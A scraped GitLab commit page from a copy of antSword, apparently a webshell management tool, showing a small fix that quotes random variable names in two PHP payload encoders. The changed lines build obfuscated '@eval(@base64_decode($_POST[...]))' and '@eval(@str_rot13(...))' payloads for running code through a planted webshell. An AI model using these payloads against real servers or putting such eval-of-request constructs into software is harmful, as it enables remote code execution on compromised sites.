Skip to content
Projects
Groups
Snippets
Help
Loading...
Help
Submit feedback
Contribute to GitLab
Sign in / Register
Toggle navigation
A
antSword
Project
Project
Details
Activity
Releases
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
HuangJunbo
antSword
Commits
ac6725bb
Commit
ac6725bb
authored
Mar 24, 2021
by
yzddmr6
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
变量名添加引号,解决随机变量名为php关键字时出现BUG
parent
773ae504
Changes
2
Hide whitespace changes
Inline
Side-by-side
Showing
2 changed files
with
2 additions
and
2 deletions
+2
-2
base64.js
source/core/php/encoder/base64.js
+1
-1
rot13.js
source/core/php/encoder/rot13.js
+1
-1
No files found.
source/core/php/encoder/base64.js
View file @
ac6725bb
...
...
@@ -16,7 +16,7 @@ module.exports = (pwd, data, ext = null) => {
data
[
randomID
]
=
Buffer
.
from
(
data
[
'_'
])
.
toString
(
'base64'
);
data
[
pwd
]
=
`@eval(@base64_decode($_POST[
${
randomID
}
]));`
;
data
[
pwd
]
=
`@eval(@base64_decode($_POST[
'
${
randomID
}
'
]));`
;
delete
data
[
'_'
];
return
data
;
}
\ No newline at end of file
source/core/php/encoder/rot13.js
View file @
ac6725bb
...
...
@@ -27,7 +27,7 @@ module.exports = (pwd, data, ext = null) => {
randomID
=
`
${
antSword
[
'utils'
].
RandomLowercase
()}${
Math
.
random
().
toString
(
16
).
substr
(
2
)}
`
;
}
data
[
randomID
]
=
encode
(
data
[
'_'
]);
data
[
pwd
]
=
`@eval(@str_rot13($_POST[
${
randomID
}
]));`
;
data
[
pwd
]
=
`@eval(@str_rot13($_POST[
'
${
randomID
}
'
]));`
;
delete
data
[
'_'
];
return
data
;
}
\ No newline at end of file
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment